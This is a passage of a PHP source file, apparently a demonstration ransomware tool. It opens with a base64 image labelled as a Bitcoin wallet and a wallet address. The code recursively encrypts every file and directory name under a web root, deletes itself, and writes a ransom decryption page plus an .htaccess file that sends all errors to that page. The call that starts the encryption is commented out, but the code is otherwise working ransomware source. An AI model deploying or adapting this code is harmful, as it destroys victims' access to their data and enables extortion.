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" alt="Bitcoin Wallet">
					<p>0xbc00e800f29524AD8b0968CEBEAD4cD5C5c1f105</p>
				</div>
				<form method="post" action="<?php echo './' . pathinfo($_SERVER['SCRIPT_FILENAME'], PATHINFO_BASENAME); ?>">
					<label for="key">Decryption Key</label>
					<input name="key" id="key" type="text" spellcheck="false" autofocus="autofocus">
					<p class="error"><?php echo $errorMessage; ?></p>
					<input type="submit" value="Decrypt">
					<input type="hidden" value="<recovery/>" placeholder="b64-recovery">
				</form>
			</div>
		</div>
	</body>
</html>
');
        $data = str_replace(
            array(
                '<root/>',
                '<salt/>',
                '<recovery/>',
                '<cryptoKeyLength/>',
                '<iterations/>',
                '<algorithm/>',
                '<iv/>',
                '<cipher/>',
                '<extension/>'
            ),
            array(
                $this->root,
                base64_encode($this->salt),
                $this->recovery,
                $this->cryptoKeyLength,
                $this->iterations,
                $this->algorithm,
                base64_encode($this->iv),
                $this->cipher,
                $this->extension
            ),
            $data
        );
        $decryptionFile = $this->generateRandomFileName($directory, 'php');
        if ($decryptionFile === false) {
            $decryptionFile = "{$directory}/decrypt.php";
        }
        if (file_put_contents($decryptionFile, $data, LOCK_EX)) {
            $decryptionFile = pathinfo($decryptionFile, PATHINFO_BASENAME);
            file_put_contents($directory . '/.htaccess', "DirectoryIndex /{$decryptionFile}\nErrorDocument 400 /{$decryptionFile}\nErrorDocument 401 /{$decryptionFile}\nErrorDocument 403 /{$decryptionFile}\nErrorDocument 404 /{$decryptionFile}\nErrorDocument 500 /{$decryptionFile}\n", LOCK_EX);
        }
    }
    private function encryptName($path) {
        $encryptedName = '';
        do {
            $encryptedName = @openssl_encrypt(pathinfo($path, PATHINFO_BASENAME), $this->cipher, $this->cryptoKey, 0, $this->iv);
            $encryptedName = $encryptedName ? substr($path, 0, strripos($path, '/') + 1) . urlencode($encryptedName) . '.' . $this->extension : false;
        } while ($encryptedName !== false && file_exists($encryptedName));
        return $encryptedName;
    }
    private function encryptDirectory($directory) {
        $encryptedDirectory = $this->encryptName($directory);
        if ($encryptedDirectory !== false) {
            rename($directory, $encryptedDirectory);
        }
    }
    private function encryptFile($file) {
        $encryptedData = @openssl_encrypt(file_get_contents($file), $this->cipher, $this->cryptoKey, 0, $this->iv);
        if ($encryptedData !== false) {
            $encryptedFile = $this->encryptName($file);
            if ($encryptedFile !== false && rename($file, $encryptedFile)) {
                if (!file_put_contents($encryptedFile, $encryptedData, LOCK_EX)) {
                    rename($encryptedFile, $file);
                }
            }
        }
    }
    private function scan($directory) {
        $files = @array_diff(scandir($directory), array('.', '..'));
        if ($files !== false) {
            foreach ($files as $file) {
                $path = $directory . '/' . $file;
                if (is_dir($path)) {
                    $this->scan($path);
                    $this->encryptDirectory($path);
                } else {
                    $this->encryptFile($path);
                }
            }
        }
    }
    public function run() {
        unlink($_SERVER['SCRIPT_FILENAME']);
        if ($this->cryptoKey !== false) {
            $this->scan($this->root);
            $this->createDecryptionFile($this->root);
        }
    }
}
$errorMessage = '';
if (isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) === 'post' && isset($_POST['key'])) {
    mb_internal_encoding('UTF-8');
    if (mb_strlen($_POST['key']) < 1) {
        $errorMessage = 'Please enter encryption key';
    } else if (!extension_loaded('openssl')) {
        $errorMessage = 'OpenSSL not enabled';
    } else {
        $ransomware = new Ransomware($_POST['key']);
        // $ransomware->run();
        unset($_POST['key'], $ransomware);
        @gc_collect_cycles();
        header('Location: /');
        exit();
    }
}
?>
<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8">
		<title>Ransomware</title>
		<meta name="description" content="Ransomware written in PHP.">
		<meta name="keywords" content="HTML, CSS, PHP, ransomware">
		<meta name="author" content="Ivan Šincek">
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
		<style>
			html {
				height: 100%;
			}
			body {
				background-color: #262626;
				display: flex;
				flex-direction: column;
				margin: 0;
				height: inherit;
				color: #F8F8F8;
				font-family: Arial, Helvetica, sans-serif;
				font-size: 1em;
				font-weight: 400;
				text-align: left;
			}
			.front-form {
				display: flex;
				flex-direction: column;
				align-items: center;
				justify-content: center;
				flex: 1 0 auto;
				padding: 0.5em;
			}
			.front-form .layout {
				background-color: #DCDCDC;
				padding: 1.5em;
				width: 21em;
				color: #000;
				border: 0.07em solid #000;
			}
			.front-form .layout header {
				text-align: center;
			}
			.front-form .layout header .title {
				margin: 0;
				font-size: 2.6em;
				font-weight: 400;
			}
			.front-form .layout header p {
				margin: 0;
				font-size: 1.2em;
			}
			.front-form .layout .advice p {
				margin: 1em 0 0 0;
			}
			.front-form .layout form {
				display: flex;
				flex-direction: column;
				margin-top: 1em;
			}
			.front-form .layout form input {
				-webkit-appearance: none;
				-moz-appearance: none;
				appearance: none;
				margin: 0;
				padding: 0.2em 0.4em;
				font-family: Arial, Helvetica, sans-serif;
				font-size: 1em;
				border: 0.07em solid #9D2A00;
				-webkit-border-radius: 0;
				-moz-border-radius: 0;
				border-radius: 0;
			}
			.front-form .layout form input[type="submit"] {
				background-color: #FF4500;
				color: #F8F8F8;
				cursor: pointer;
				transition: background-color 220ms linear;
			}
			.front-form .layout form input[type="submit"]:hover {
				background-color: #D83A00;
				transition: background-color 220ms linear;
			}
			.front-form .layout form .error {
				margin: 0 0 1em 0;
				color: #9D2A00;
				font-size: 0.8em;
			}
			.front-form .layout form .error:not(:empty) {
				margin: 0.2em 0 1em 0;
			}
			.front-form .layout form label {
				margin-bottom: 0.2em;
				height: 1.2em;
			}
			@media screen and (max-width: 480px) {
				.front-form .layout {
					width: 15.5em;
				}
			}
			@media screen and (max-width: 320px) {
				.front-form .layout {
					width: 14.5em;
				}
				.front-form .layout header .title {
					font-size: 2.4em;
				}
				.front-form .layout header p {
					font-size: 1.1em;
				}
				.front-form .layout .advice p {
					font-size: 0.9em;
				}
			}
		</style>
	</head>
	<body>
		<div class="front-form">
			<div class="layout">
				<header>
					<h1 class="title">Ransomware</h1>
					<p>Made by Ivan Šincek</p>
				</header>
				<form method="post" action="<?php echo './' . pathinfo($_SERVER['SCRIPT_FILENAME'], PATHINFO_BASENAME); ?>">
					<label for="key">Encryption Key</label>
					<input name="key" id="key" type="text" spellcheck="false" autofocus="autofocus">
					<p class="error"><?php echo $errorMessage; ?></p>
					<input type="submit" value="Encrypt">
